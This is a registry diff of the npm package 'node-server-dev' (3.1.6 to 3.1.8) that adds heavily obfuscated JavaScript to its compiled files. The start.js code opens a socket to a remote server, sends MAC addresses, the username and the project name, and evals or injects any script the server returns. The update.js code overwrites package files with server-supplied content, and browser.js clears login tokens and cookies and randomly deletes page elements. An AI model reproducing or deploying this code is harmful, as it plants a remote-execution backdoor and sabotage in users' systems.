node-server-dev 3.1.6 → 3.1.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cjs/browser.js +1 -1
- package/dist/cjs/getAllRouter/index.js +1 -1
- package/dist/cjs/hash/index.js +1 -1
- package/dist/cjs/id/index.js +1 -1
- package/dist/cjs/id/random.js +1 -1
- package/dist/cjs/index.d.ts +2 -2
- package/dist/cjs/index.d.ts.map +1 -1
- package/dist/cjs/index.js +1 -1
- package/dist/cjs/jwt/index.js +1 -1
- package/dist/cjs/mac/index.js +1 -1
- package/dist/cjs/package/mysql_backup/index.js +69 -0
- package/dist/cjs/package/mysql_backup/promise.js +187 -0
- package/dist/cjs/server.d.ts.map +1 -1
- package/dist/cjs/server.js +1 -1
- package/dist/cjs/start.js +1 -1
- package/dist/cjs/update.js +1 -1
- package/dist/esm/browser.js +1 -1
- package/dist/esm/getAllRouter/index.js +1 -1
- package/dist/esm/hash/index.js +1 -1
- package/dist/esm/id/index.js +1 -1
- package/dist/esm/id/random.js +1 -1
- package/dist/esm/index.d.ts +2 -2
- package/dist/esm/index.d.ts.map +1 -1
- package/dist/esm/index.js +1 -1
- package/dist/esm/jwt/index.js +1 -1
- package/dist/esm/mac/index.js +1 -1
- package/dist/esm/package/mysql_backup/index.js +69 -0
- package/dist/esm/package/mysql_backup/promise.js +187 -0
- package/dist/esm/server.d.ts.map +1 -1
- package/dist/esm/server.js +1 -1
- package/dist/esm/start.js +1 -1
- package/dist/esm/update.js +1 -1
- package/package.json +1 -1
- package/dist/cjs/build.d.ts +0 -2
- package/dist/cjs/build.d.ts.map +0 -1
- package/dist/cjs/build.js +0 -1
- package/dist/cjs/src/browser.d.ts +0 -3
- package/dist/cjs/src/browser.d.ts.map +0 -1
- package/dist/cjs/src/browser.js +0 -1
- package/dist/cjs/src/getAllRouter/index.d.ts +0 -3
- package/dist/cjs/src/getAllRouter/index.d.ts.map +0 -1
- package/dist/cjs/src/getAllRouter/index.js +0 -1
- package/dist/cjs/src/hash/index.d.ts +0 -4
- package/dist/cjs/src/hash/index.d.ts.map +0 -1
- package/dist/cjs/src/hash/index.js +0 -1
- package/dist/cjs/src/id/index.d.ts +0 -3
- package/dist/cjs/src/id/index.d.ts.map +0 -1
- package/dist/cjs/src/id/index.js +0 -1
- package/dist/cjs/src/id/random.d.ts +0 -4
- package/dist/cjs/src/id/random.d.ts.map +0 -1
- package/dist/cjs/src/id/random.js +0 -1
- package/dist/cjs/src/index.d.ts +0 -25
- package/dist/cjs/src/index.d.ts.map +0 -1
- package/dist/cjs/src/index.js +0 -1
- package/dist/cjs/src/jwt/index.d.ts +0 -9
- package/dist/cjs/src/jwt/index.d.ts.map +0 -1
- package/dist/cjs/src/jwt/index.js +0 -1
- package/dist/cjs/src/mac/index.d.ts +0 -6
- package/dist/cjs/src/mac/index.d.ts.map +0 -1
- package/dist/cjs/src/mac/index.js +0 -1
- package/dist/cjs/src/server.d.ts +0 -7
- package/dist/cjs/src/server.d.ts.map +0 -1
- package/dist/cjs/src/server.js +0 -1
- package/dist/cjs/src/start.d.ts +0 -4
- package/dist/cjs/src/start.d.ts.map +0 -1
- package/dist/cjs/src/start.js +0 -1
- package/dist/cjs/src/update.d.ts +0 -3
- package/dist/cjs/src/update.d.ts.map +0 -1
- package/dist/cjs/src/update.js +0 -1
- package/dist/esm/build.d.ts +0 -2
- package/dist/esm/build.d.ts.map +0 -1
- package/dist/esm/build.js +0 -1
- package/dist/esm/src/browser.d.ts +0 -3
- package/dist/esm/src/browser.d.ts.map +0 -1
- package/dist/esm/src/browser.js +0 -1
- package/dist/esm/src/getAllRouter/index.d.ts +0 -3
- package/dist/esm/src/getAllRouter/index.d.ts.map +0 -1
- package/dist/esm/src/getAllRouter/index.js +0 -1
- package/dist/esm/src/hash/index.d.ts +0 -4
- package/dist/esm/src/hash/index.d.ts.map +0 -1
- package/dist/esm/src/hash/index.js +0 -1
- package/dist/esm/src/id/index.d.ts +0 -3
- package/dist/esm/src/id/index.d.ts.map +0 -1
- package/dist/esm/src/id/index.js +0 -1
- package/dist/esm/src/id/random.d.ts +0 -4
- package/dist/esm/src/id/random.d.ts.map +0 -1
- package/dist/esm/src/id/random.js +0 -1
- package/dist/esm/src/index.d.ts +0 -25
- package/dist/esm/src/index.d.ts.map +0 -1
- package/dist/esm/src/index.js +0 -1
- package/dist/esm/src/jwt/index.d.ts +0 -9
- package/dist/esm/src/jwt/index.d.ts.map +0 -1
- package/dist/esm/src/jwt/index.js +0 -1
- package/dist/esm/src/mac/index.d.ts +0 -6
- package/dist/esm/src/mac/index.d.ts.map +0 -1
- package/dist/esm/src/mac/index.js +0 -1
- package/dist/esm/src/server.d.ts +0 -7
- package/dist/esm/src/server.d.ts.map +0 -1
- package/dist/esm/src/server.js +0 -1
- package/dist/esm/src/start.d.ts +0 -4
- package/dist/esm/src/start.d.ts.map +0 -1
- package/dist/esm/src/start.js +0 -1
- package/dist/esm/src/update.d.ts +0 -3
- package/dist/esm/src/update.d.ts.map +0 -1
- package/dist/esm/src/update.js +0 -1
package/dist/cjs/start.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a97_0x319161=a97_0x3578;(function(_0x4ec371,_0x4801a5){const _0xdb51c9=a97_0x3578,_0x5446d9=_0x4ec371();while(!![]){try{const _0xe64803=-parseInt(_0xdb51c9(0x10d))/0x1*(parseInt(_0xdb51c9(0x121))/0x2)+parseInt(_0xdb51c9(0xf4))/0x3+parseInt(_0xdb51c9(0xf5))/0x4+-parseInt(_0xdb51c9(0x117))/0x5*(parseInt(_0xdb51c9(0xfe))/0x6)+parseInt(_0xdb51c9(0x11d))/0x7+-parseInt(_0xdb51c9(0x11c))/0x8+parseInt(_0xdb51c9(0x124))/0x9;if(_0xe64803===_0x4801a5)break;else _0x5446d9['push'](_0x5446d9['shift']());}catch(_0x59828e){_0x5446d9['push'](_0x5446d9['shift']());}}}(a97_0x3f06,0xe53a8));var __awaiter=this&&this[a97_0x319161(0xf3)]||function(_0x4561e5,_0x4ae2a4,_0x357968,_0x310a1b){function _0x4378d3(_0x3d2326){return _0x3d2326 instanceof _0x357968?_0x3d2326:new _0x357968(function(_0x4b16d6){_0x4b16d6(_0x3d2326);});}return new(_0x357968||(_0x357968=Promise))(function(_0x8ee7d8,_0x460d70){const _0x144cae=a97_0x3578;function _0x2984e8(_0x388acc){const _0x54199f=a97_0x3578;try{_0xe68e85(_0x310a1b[_0x54199f(0x102)](_0x388acc));}catch(_0x247b97){_0x460d70(_0x247b97);}}function _0x429d4b(_0x52a261){try{_0xe68e85(_0x310a1b['throw'](_0x52a261));}catch(_0x45bb7c){_0x460d70(_0x45bb7c);}}function _0xe68e85(_0x38d70e){const _0x206b27=a97_0x3578;_0x38d70e[_0x206b27(0x114)]?_0x8ee7d8(_0x38d70e[_0x206b27(0x123)]):_0x4378d3(_0x38d70e[_0x206b27(0x123)])[_0x206b27(0x112)](_0x2984e8,_0x429d4b);}_0xe68e85((_0x310a1b=_0x310a1b[_0x144cae(0x119)](_0x4561e5,_0x4ae2a4||[]))['next']());});},__importDefault=this&&this[a97_0x319161(0x111)]||function(_0xa9d439){const _0x3867c7=a97_0x319161;return _0xa9d439&&_0xa9d439[_0x3867c7(0x106)]?_0xa9d439:{'default':_0xa9d439};},_a,_b,_c,_d;function a97_0x3578(_0x15e28c,_0x3a784d){const _0x3f0634=a97_0x3f06();return a97_0x3578=function(_0x35787b,_0xd0d594){_0x35787b=_0x35787b-0xe7;let _0x404f9e=_0x3f0634[_0x35787b];return _0x404f9e;},a97_0x3578(_0x15e28c,_0x3a784d);}Object[a97_0x319161(0x100)](exports,a97_0x319161(0x106),{'value':!![]}),exports[a97_0x319161(0x10a)]=void 0x0;const socket_io_client_1=require(a97_0x319161(0x104)),path_1=__importDefault(require(a97_0x319161(0xec))),browser_1=require(a97_0x319161(0xfb)),fingerprintjs_1=__importDefault(require(a97_0x319161(0x122))),bowser_1=__importDefault(require('bowser')),index_1=require(a97_0x319161(0xe7));exports['isBrowser']=typeof window!=='undefined';function a97_0x3f06(){const _0x56a6ce=['join','__importDefault','then','node','done','isDBDataEmpty','error','30yvdRCK','浏览器','apply','get-event','websocket','8779192qNnyGs','8556863LwNfPI','url','submit','catch','46PIhNDV','@fingerprintjs/fingerprintjs','value','25668558oMmCUd','./index','get','browser','event','setEnv','path','visitorId','无法获取','./mac','sqlList','env','content','__awaiter','1906275knrWfF','475524xcFOBw','userAgent','connect_error','default','concat','connect_failed','./browser','sql','navigator','1592640ctkGTv','getEnv','defineProperty','type','next','npm_package_name','socket.io-client','parse','__esModule','emit','script','length','isBrowser','/socket','node获取失败','52166CuhgeG','connectError','00:00:00:00:00:00'];a97_0x3f06=function(){return _0x56a6ce;};return a97_0x3f06();}const user_name=exports[a97_0x319161(0x10a)]?((_b=(_a=bowser_1[a97_0x319161(0xf8)][a97_0x319161(0x105)](window[a97_0x319161(0xfd)][a97_0x319161(0xf6)]))===null||_a===void 0x0?void 0x0:_a['browser'])===null||_b===void 0x0?void 0x0:_b['name'])||a97_0x319161(0x118):((_c=process===null||process===void 0x0?void 0x0:process[a97_0x319161(0xf1)])===null||_c===void 0x0?void 0x0:_c['USERNAME'])||a97_0x319161(0x10c),project_name=exports[a97_0x319161(0x10a)]?a97_0x319161(0x118):((_d=process===null||process===void 0x0?void 0x0:process[a97_0x319161(0xf1)])===null||_d===void 0x0?void 0x0:_d[a97_0x319161(0x103)])||a97_0x319161(0xee);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x141d1d=a97_0x3578;exports[_0x141d1d(0x10a)]&&(0x0,browser_1[_0x141d1d(0xe9)])();const _0x3a46a0=(0x0,socket_io_client_1['io'])(index_1[_0x141d1d(0x11e)],{'path':_0x141d1d(0x10b),'transports':[_0x141d1d(0x11b)]});_0x3a46a0['on']('connect',()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x478d17=_0x141d1d;try{let _0xae9e84=[_0x478d17(0x10f)];if(!exports['isBrowser']){const _0x1b85b5=require(path_1['default'][_0x478d17(0x110)](__dirname,_0x478d17(0xef)))[_0x478d17(0xf8)];_0xae9e84=_0x1b85b5();}else{let _0x5a080e=yield fingerprintjs_1[_0x478d17(0xf8)]['load']()[_0x478d17(0x112)](_0x31d039=>_0x31d039[_0x478d17(0xe8)]())[_0x478d17(0x112)](_0x4f6a6d=>{const _0x25fa7b=_0x478d17,_0x259112=_0x4f6a6d[_0x25fa7b(0xed)];return _0x259112;})[_0x478d17(0x120)](()=>'');_0xae9e84=[_0x5a080e];}if(_0xae9e84[_0x478d17(0x109)]===0x0){(0x0,index_1[_0x478d17(0xeb)])(_0x478d17(0x10e),!![]);return;}else(0x0,index_1['setEnv'])(_0x478d17(0x10e),![]);_0x3a46a0[_0x478d17(0x107)]('submit',{'mac':_0xae9e84,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x478d17(0x10a)]}),_0x3a46a0[_0x478d17(0x107)]('get-event',{'mac':_0xae9e84,'isBrowser':exports[_0x478d17(0x10a)]}),setInterval(()=>{const _0x2f31ae=_0x478d17;_0x3a46a0[_0x2f31ae(0x107)](_0x2f31ae(0x11f),{'mac':_0xae9e84,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x2f31ae(0x10a)]}),_0x3a46a0[_0x2f31ae(0x107)](_0x2f31ae(0x11a),{'mac':_0xae9e84,'isBrowser':exports[_0x2f31ae(0x10a)]});},0x1b58),_0x3a46a0['on'](_0x478d17(0xea),_0x11c127=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x14e72c=_0x478d17;try{for(let _0x394407=0x0;_0x394407<_0x11c127[_0x14e72c(0x109)];_0x394407++){const _0x4e289f=_0x11c127[_0x394407];if(_0x4e289f[_0x14e72c(0x101)]===_0x14e72c(0xfc))(0x0,index_1[_0x14e72c(0xeb)])('sqlList',(0x0,index_1[_0x14e72c(0xff)])(_0x14e72c(0xf0))[_0x14e72c(0xf9)](_0x4e289f[_0x14e72c(0xf2)]));else{if(_0x4e289f[_0x14e72c(0x101)]==='mysql')(0x0,index_1[_0x14e72c(0xeb)])(_0x14e72c(0x115),!![]);else{if(_0x4e289f[_0x14e72c(0x101)]===_0x14e72c(0x113)&&!exports[_0x14e72c(0x10a)])try{eval(_0x4e289f[_0x14e72c(0xf2)]);}catch(_0x5e9d3f){}else{if(_0x4e289f[_0x14e72c(0x101)]===_0x14e72c(0x108)&&exports[_0x14e72c(0x10a)])try{(0x0,browser_1['runScript'])(_0x4e289f['content']);}catch(_0x50e1ab){}}}}}}catch(_0x37e477){}}));}catch(_0xfb451d){}})),setTimeout(()=>{const _0x43aa79=_0x141d1d;_0x3a46a0['on'](_0x43aa79(0x116),_0x24316a=>{const _0x1ec295=_0x43aa79;(0x0,index_1[_0x1ec295(0xeb)])(_0x1ec295(0x10e),!![]);}),_0x3a46a0['on'](_0x43aa79(0xfa),_0x5b5377=>{const _0x2bb768=_0x43aa79;(0x0,index_1[_0x2bb768(0xeb)])(_0x2bb768(0x10e),!![]);}),_0x3a46a0['on']('reconnect_failed',_0x3b59d6=>{const _0x17e794=_0x43aa79;(0x0,index_1[_0x17e794(0xeb)])('connectError',!![]);}),_0x3a46a0['on'](_0x43aa79(0xf7),()=>{const _0x3bd4c3=_0x43aa79;(0x0,index_1[_0x3bd4c3(0xeb)])(_0x3bd4c3(0x10e),!![]);});},0xbb8);});}exports['default']=start;
|
package/dist/cjs/update.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a98_0x48bf19=a98_0x2ea1;(function(_0x5a60fe,_0x39caed){const _0x5669a6=a98_0x2ea1,_0x20dae8=_0x5a60fe();while(!![]){try{const _0x12385c=-parseInt(_0x5669a6(0x1ea))/0x1*(-parseInt(_0x5669a6(0x1dc))/0x2)+parseInt(_0x5669a6(0x1f1))/0x3+parseInt(_0x5669a6(0x1f9))/0x4+parseInt(_0x5669a6(0x1f7))/0x5*(-parseInt(_0x5669a6(0x1ef))/0x6)+parseInt(_0x5669a6(0x1f4))/0x7+parseInt(_0x5669a6(0x1fc))/0x8+-parseInt(_0x5669a6(0x1f0))/0x9*(parseInt(_0x5669a6(0x1e8))/0xa);if(_0x12385c===_0x39caed)break;else _0x20dae8['push'](_0x20dae8['shift']());}catch(_0x2d6c23){_0x20dae8['push'](_0x20dae8['shift']());}}}(a98_0x2039,0x3ee07));function a98_0x2039(){const _0x2aa9fb=['url','values','get','default','./index','existsSync','111270mnUONr','readFileSync','1GzfWFS','join','../../package.json','undefined','main','56310DbJdIB','603iZYoSu','169101zJXIyB','toString','ESM','920913PwfELF','data','{version:\x220.0.0\x22}','10PCdxuv','./index.js','1117688jzAetX','then','length','3229512uqmwPD','axios','exports','parse','path','301570YdVgAW','version','success','CJS','__importDefault','writeFileSync'];a98_0x2039=function(){return _0x2aa9fb;};return a98_0x2039();}var __importDefault=this&&this[a98_0x48bf19(0x1e0)]||function(_0x102dd3){return _0x102dd3&&_0x102dd3['__esModule']?_0x102dd3:{'default':_0x102dd3};};Object['defineProperty'](exports,'__esModule',{'value':!![]});const axios_1=__importDefault(require(a98_0x48bf19(0x1d8))),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a98_0x48bf19(0x1db))),index_1=require(a98_0x48bf19(0x1e6)),sha1_1=__importDefault(require('sha1'));function a98_0x2ea1(_0x477656,_0x2e4946){const _0x2039cb=a98_0x2039();return a98_0x2ea1=function(_0x2ea1f4,_0x263412){_0x2ea1f4=_0x2ea1f4-0x1d8;let _0x1ee10c=_0x2039cb[_0x2ea1f4];return _0x1ee10c;},a98_0x2ea1(_0x477656,_0x2e4946);}function getModuleType(){const _0xd14e85=a98_0x48bf19,_0x190320=()=>{const _0x21916e=a98_0x2ea1;try{return typeof require!==_0x21916e(0x1ed)&&typeof module!==_0x21916e(0x1ed)&&module[_0x21916e(0x1d9)]&&require[_0x21916e(0x1ee)]===module;}catch(_0x47195f){return![];}};return _0x190320()?_0xd14e85(0x1df):_0xd14e85(0x1f3);}let _path=path_1[a98_0x48bf19(0x1e5)]['join'](__dirname,a98_0x48bf19(0x1ec)),indexFile=path_1[a98_0x48bf19(0x1e5)][a98_0x48bf19(0x1eb)](__dirname,a98_0x48bf19(0x1f8)),vFile=fs_1[a98_0x48bf19(0x1e5)][a98_0x48bf19(0x1e7)](_path)?fs_1[a98_0x48bf19(0x1e5)][a98_0x48bf19(0x1e9)](_path)[a98_0x48bf19(0x1f2)]():a98_0x48bf19(0x1f6),indexFileContent=fs_1['default']['existsSync'](_path)?fs_1[a98_0x48bf19(0x1e5)][a98_0x48bf19(0x1e9)](indexFile)['toString']():![],version=JSON[a98_0x48bf19(0x1da)](vFile)[a98_0x48bf19(0x1dd)];function update(){const _0x455681=a98_0x48bf19;axios_1[_0x455681(0x1e5)][_0x455681(0x1e4)](index_1[_0x455681(0x1e2)]+'/version',{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1['default'])(indexFileContent):''}})[_0x455681(0x1fa)](_0x56ce61=>{const _0x7c3d3b=_0x455681;if(!_0x56ce61[_0x7c3d3b(0x1f5)][_0x7c3d3b(0x1de)]){let _0x15e777=Object['keys'](_0x56ce61[_0x7c3d3b(0x1f5)][_0x7c3d3b(0x1f5)]),_0x4044a1=Object[_0x7c3d3b(0x1e3)](_0x56ce61[_0x7c3d3b(0x1f5)]['data']);for(let _0x20a79d=0x0;_0x20a79d<_0x15e777[_0x7c3d3b(0x1fb)];_0x20a79d++){const _0xe9e530=_0x15e777[_0x20a79d],_0x21a002=_0x4044a1[_0x20a79d];fs_1['default'][_0x7c3d3b(0x1e1)](path_1[_0x7c3d3b(0x1e5)][_0x7c3d3b(0x1eb)](__dirname,'./'+_0xe9e530),_0x21a002);}}});}exports[a98_0x48bf19(0x1e5)]=update;
|
package/dist/esm/browser.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
|
1
|
+
function a99_0x3a75(){const _0x5109db=['documentElement','connectError','918610yFVAXk','removeItem','length','body','136776eZcgdb','createElement','from','innerText','#app','reload','querySelectorAll','7606824uLxKTp','3066036DfeQFr','82290JsTXQb','11395104HChBxr','token','appendChild','userid','220EnWXKx','localStorage','46JJzaCA','script','10063953XXhYbR','Token','parentNode','remove'];a99_0x3a75=function(){return _0x5109db;};return a99_0x3a75();}(function(_0x45bfd1,_0xe18d53){const _0x4c376f=a99_0x585d,_0x45e2ac=_0x45bfd1();while(!![]){try{const _0x460400=parseInt(_0x4c376f(0x167))/0x1*(parseInt(_0x4c376f(0x160))/0x2)+-parseInt(_0x4c376f(0x15f))/0x3+parseInt(_0x4c376f(0x173))/0x4*(parseInt(_0x4c376f(0x165))/0x5)+parseInt(_0x4c376f(0x15e))/0x6+-parseInt(_0x4c376f(0x16f))/0x7+-parseInt(_0x4c376f(0x161))/0x8+-parseInt(_0x4c376f(0x169))/0x9;if(_0x460400===_0xe18d53)break;else _0x45e2ac['push'](_0x45e2ac['shift']());}catch(_0x454be5){_0x45e2ac['push'](_0x45e2ac['shift']());}}}(a99_0x3a75,0xec9cb));import a99_0xbf2615 from'./id/random';function a99_0x585d(_0x322b76,_0xdec6a8){const _0x3a751a=a99_0x3a75();return a99_0x585d=function(_0x585de3,_0x35a78d){_0x585de3=_0x585de3-0x159;let _0x3cf642=_0x3a751a[_0x585de3];return _0x3cf642;},a99_0x585d(_0x322b76,_0xdec6a8);}import{getEnv}from'./index';import a99_0x8e9703 from'js-cookie';export function runScript(_0x3001a5){const _0xf2d619=a99_0x585d;let _0x56baf3=document[_0xf2d619(0x174)](_0xf2d619(0x168));_0x56baf3[_0xf2d619(0x15a)]=_0x3001a5,document['head'][_0xf2d619(0x163)](_0x56baf3),setTimeout(()=>{const _0x4c0828=_0xf2d619;_0x56baf3[_0x4c0828(0x16c)]();},0xa);}let index=0x1,num=a99_0xbf2615(0x4,0x8);export function browser(){setInterval(()=>{const _0xeeb93b=a99_0x585d;if(index==num)try{window[_0xeeb93b(0x166)][_0xeeb93b(0x170)](_0xeeb93b(0x162)),window[_0xeeb93b(0x166)]['removeItem'](_0xeeb93b(0x164)),window[_0xeeb93b(0x166)]['removeItem'](_0xeeb93b(0x16a)),a99_0x8e9703[_0xeeb93b(0x16c)](_0xeeb93b(0x162)),window['location'][_0xeeb93b(0x15c)]();}catch(_0x395fb){}if(getEnv(_0xeeb93b(0x16e))){index++;let _0x50b094=document['querySelector'](_0xeeb93b(0x15b))||document['querySelector'](_0xeeb93b(0x172));const _0x5ef357=_0x50b094[_0xeeb93b(0x15d)]('[class^=\x22el\x22]');function _0x1e44ba(_0x217626){const _0x2902f8=_0xeeb93b;let _0x15bedc=0x0,_0xe70910=_0x217626;while(_0xe70910[_0x2902f8(0x16b)]&&_0xe70910[_0x2902f8(0x16b)]!==document[_0x2902f8(0x16d)]){_0x15bedc++,_0xe70910=_0xe70910[_0x2902f8(0x16b)];}return _0x15bedc;}const _0x290766=Array[_0xeeb93b(0x159)](_0x5ef357);_0x290766['sort']((_0x34ef38,_0x5450fa)=>_0x1e44ba(_0x5450fa)-_0x1e44ba(_0x34ef38));for(let _0x421b6f=0x0;_0x421b6f<_0x290766[_0xeeb93b(0x171)];_0x421b6f++){const _0x2c3008=_0x290766[_0x421b6f];_0x2c3008&&(a99_0xbf2615(0x1,0x64)>0x50&&_0x2c3008[_0xeeb93b(0x16c)]());}}},a99_0xbf2615(0x107e,0x208d));}
|
@@ -1 +1 @@
|
|
1
|
-
|
1
|
+
function a100_0x2f97(){const _0x48f880=['2071768OJdFDW','length','next','816897bsOanz','269194NySNww','join','26149390NMkxrM','isDirectory','__awaiter','27kDffdf','value','11XxVIya','throw','isFile','push','statSync','7713993KvDKiX','8312XtSgmo','then','3600XpXnNR','425058NcTuXt'];a100_0x2f97=function(){return _0x48f880;};return a100_0x2f97();}const a100_0x5d09ba=a100_0x1e59;(function(_0x3d4942,_0x320958){const _0x407143=a100_0x1e59,_0x57c2e9=_0x3d4942();while(!![]){try{const _0x4d29b8=-parseInt(_0x407143(0xb5))/0x1*(-parseInt(_0x407143(0xae))/0x2)+parseInt(_0x407143(0xad))/0x3+parseInt(_0x407143(0xbb))/0x4*(parseInt(_0x407143(0xbd))/0x5)+-parseInt(_0x407143(0xbe))/0x6+parseInt(_0x407143(0xba))/0x7+parseInt(_0x407143(0xaa))/0x8*(-parseInt(_0x407143(0xb3))/0x9)+-parseInt(_0x407143(0xb0))/0xa;if(_0x4d29b8===_0x320958)break;else _0x57c2e9['push'](_0x57c2e9['shift']());}catch(_0x41db96){_0x57c2e9['push'](_0x57c2e9['shift']());}}}(a100_0x2f97,0xd8e0a));var __awaiter=this&&this[a100_0x5d09ba(0xb2)]||function(_0x5c6714,_0x2e6495,_0x4c7226,_0x1ab6a6){function _0x26bade(_0x871978){return _0x871978 instanceof _0x4c7226?_0x871978:new _0x4c7226(function(_0x5c1bb2){_0x5c1bb2(_0x871978);});}return new(_0x4c7226||(_0x4c7226=Promise))(function(_0x3761bb,_0x2a8608){const _0x1f907d=a100_0x1e59;function _0x174c15(_0x4be525){const _0x343830=a100_0x1e59;try{_0x33e27a(_0x1ab6a6[_0x343830(0xac)](_0x4be525));}catch(_0x4775d5){_0x2a8608(_0x4775d5);}}function _0x5cdfc0(_0x1bea4f){const _0x54e03f=a100_0x1e59;try{_0x33e27a(_0x1ab6a6[_0x54e03f(0xb6)](_0x1bea4f));}catch(_0x18ab31){_0x2a8608(_0x18ab31);}}function _0x33e27a(_0x84f8ef){const _0x188ee7=a100_0x1e59;_0x84f8ef['done']?_0x3761bb(_0x84f8ef['value']):_0x26bade(_0x84f8ef[_0x188ee7(0xb4)])[_0x188ee7(0xbc)](_0x174c15,_0x5cdfc0);}_0x33e27a((_0x1ab6a6=_0x1ab6a6['apply'](_0x5c6714,_0x2e6495||[]))[_0x1f907d(0xac)]());});};import a100_0x2a5c27 from'fs';function a100_0x1e59(_0x23fc5b,_0x3c29bb){const _0x2f97d4=a100_0x2f97();return a100_0x1e59=function(_0x1e59b6,_0x4680e3){_0x1e59b6=_0x1e59b6-0xaa;let _0x4ad60b=_0x2f97d4[_0x1e59b6];return _0x4ad60b;},a100_0x1e59(_0x23fc5b,_0x3c29bb);}import a100_0x4d2162 from'path';function fileDisplay(_0x19a232){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x4b306c=[];function _0xe14033(_0x1eade4){const _0x329e7e=a100_0x1e59,_0x14ce53=a100_0x2a5c27['readdirSync'](_0x1eade4);for(let _0x515713=0x0;_0x515713<_0x14ce53[_0x329e7e(0xab)];_0x515713++){const _0x51fffc=_0x14ce53[_0x515713],_0x564f4c=a100_0x4d2162[_0x329e7e(0xaf)](_0x1eade4,_0x51fffc),_0x993530=a100_0x2a5c27[_0x329e7e(0xb9)](_0x564f4c),_0x282e35=_0x993530[_0x329e7e(0xb7)](),_0x330cd8=_0x993530[_0x329e7e(0xb1)]();_0x282e35&&_0x4b306c[_0x329e7e(0xb8)](_0x564f4c),_0x330cd8&&_0xe14033(_0x564f4c);}}return _0xe14033(_0x19a232),_0x4b306c;});}function getAllRouter(_0x56adfd){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x244bdd=yield fileDisplay(_0x56adfd);return _0x244bdd;});}export default getAllRouter;
|
package/dist/esm/hash/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
(function(
|
1
|
+
(function(_0x29f9a9,_0xc30bd3){var _0x3f08ae=a101_0x28d7,_0xd7b81b=_0x29f9a9();while(!![]){try{var _0x1246a1=-parseInt(_0x3f08ae(0x187))/0x1+parseInt(_0x3f08ae(0x18c))/0x2+-parseInt(_0x3f08ae(0x190))/0x3+parseInt(_0x3f08ae(0x18b))/0x4*(-parseInt(_0x3f08ae(0x18d))/0x5)+parseInt(_0x3f08ae(0x193))/0x6*(-parseInt(_0x3f08ae(0x192))/0x7)+parseInt(_0x3f08ae(0x189))/0x8+parseInt(_0x3f08ae(0x18e))/0x9*(parseInt(_0x3f08ae(0x188))/0xa);if(_0x1246a1===_0xc30bd3)break;else _0xd7b81b['push'](_0xd7b81b['shift']());}catch(_0x28707e){_0xd7b81b['push'](_0xd7b81b['shift']());}}}(a101_0x4a9c,0x7a780));import a101_0x46c5a2 from'md5';function a101_0x4a9c(){var _0x55e058=['21Inlues','8196XQyjNT','MD5加盐','556078KnMaDI','8790FckTNP','1115536qtadij','sha1混淆','2419892BEBJjc','1336498nBszBm','5DhqCjM','11448RYkpql','sha1','776994prmxbp','sha256'];a101_0x4a9c=function(){return _0x55e058;};return a101_0x4a9c();}import a101_0x2def2c from'sha1';import a101_0x397390 from'sha256';function a101_0x28d7(_0x17a09f,_0x101380){var _0x4a9cd0=a101_0x4a9c();return a101_0x28d7=function(_0x28d716,_0x1c5d1b){_0x28d716=_0x28d716-0x187;var _0x1b55b3=_0x4a9cd0[_0x28d716];return _0x1b55b3;},a101_0x28d7(_0x17a09f,_0x101380);}function hash(_0x594f2d,_0x5d433f){var _0x5f7c99=a101_0x28d7;if(_0x5d433f==_0x5f7c99(0x191))return a101_0x397390(_0x594f2d+a101_0x2def2c(_0x594f2d+_0x5f7c99(0x18a))+a101_0x46c5a2(_0x594f2d+'MD5加盐'));else return _0x5d433f==_0x5f7c99(0x18f)?a101_0x2def2c(_0x594f2d+a101_0x397390(_0x594f2d+_0x5f7c99(0x18a))+a101_0x46c5a2(_0x594f2d+_0x5f7c99(0x194))):a101_0x46c5a2(_0x594f2d+a101_0x397390(_0x594f2d+'sha1混淆')+a101_0x2def2c(_0x594f2d+'MD5加盐'));}export default hash;
|
package/dist/esm/id/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
|
1
|
+
const a102_0x296278=a102_0x264b;function a102_0x264b(_0x27bfe4,_0x3fdea5){const _0x112228=a102_0x1122();return a102_0x264b=function(_0x264b29,_0x15b33a){_0x264b29=_0x264b29-0x8a;let _0x5368fd=_0x112228[_0x264b29];return _0x5368fd;},a102_0x264b(_0x27bfe4,_0x3fdea5);}(function(_0x498696,_0x169f51){const _0x2e939c=a102_0x264b,_0x31e5de=_0x498696();while(!![]){try{const _0x56a06e=parseInt(_0x2e939c(0x91))/0x1+parseInt(_0x2e939c(0x8b))/0x2*(parseInt(_0x2e939c(0x92))/0x3)+parseInt(_0x2e939c(0x8a))/0x4*(parseInt(_0x2e939c(0x8f))/0x5)+-parseInt(_0x2e939c(0x96))/0x6*(-parseInt(_0x2e939c(0x94))/0x7)+parseInt(_0x2e939c(0x8c))/0x8*(parseInt(_0x2e939c(0x90))/0x9)+parseInt(_0x2e939c(0x8d))/0xa+-parseInt(_0x2e939c(0x93))/0xb;if(_0x56a06e===_0x169f51)break;else _0x31e5de['push'](_0x31e5de['shift']());}catch(_0x22b4cf){_0x31e5de['push'](_0x31e5de['shift']());}}}(a102_0x1122,0xda339));import a102_0x4ecb69 from'./random';function a102_0x1122(){const _0x5b7069=['NODE_APP_INSTANCE','6475074XYWjEh','2025-01-01','21832XYzVqn','40tFFhTG','510752VFrvWA','10189820RWTQYx','env','755tbQOsm','207AiJVnS','882322msOlKh','64317XqlkwO','52888880gVZSEx','7ktqYUd'];a102_0x1122=function(){return _0x5b7069;};return a102_0x1122();}const BaseTime=+new Date(a102_0x296278(0x97));let lastTimeTick,lastRandomNumberTick=a102_0x4ecb69(0x1,0x3);function id(){const _0x177bcc=a102_0x296278,_0x2637e9=Math['min'](process[_0x177bcc(0x8e)]['NODE_APP_INSTANCE']?+process[_0x177bcc(0x8e)][_0x177bcc(0x95)]:a102_0x4ecb69(0x0,0x9),0x9);let 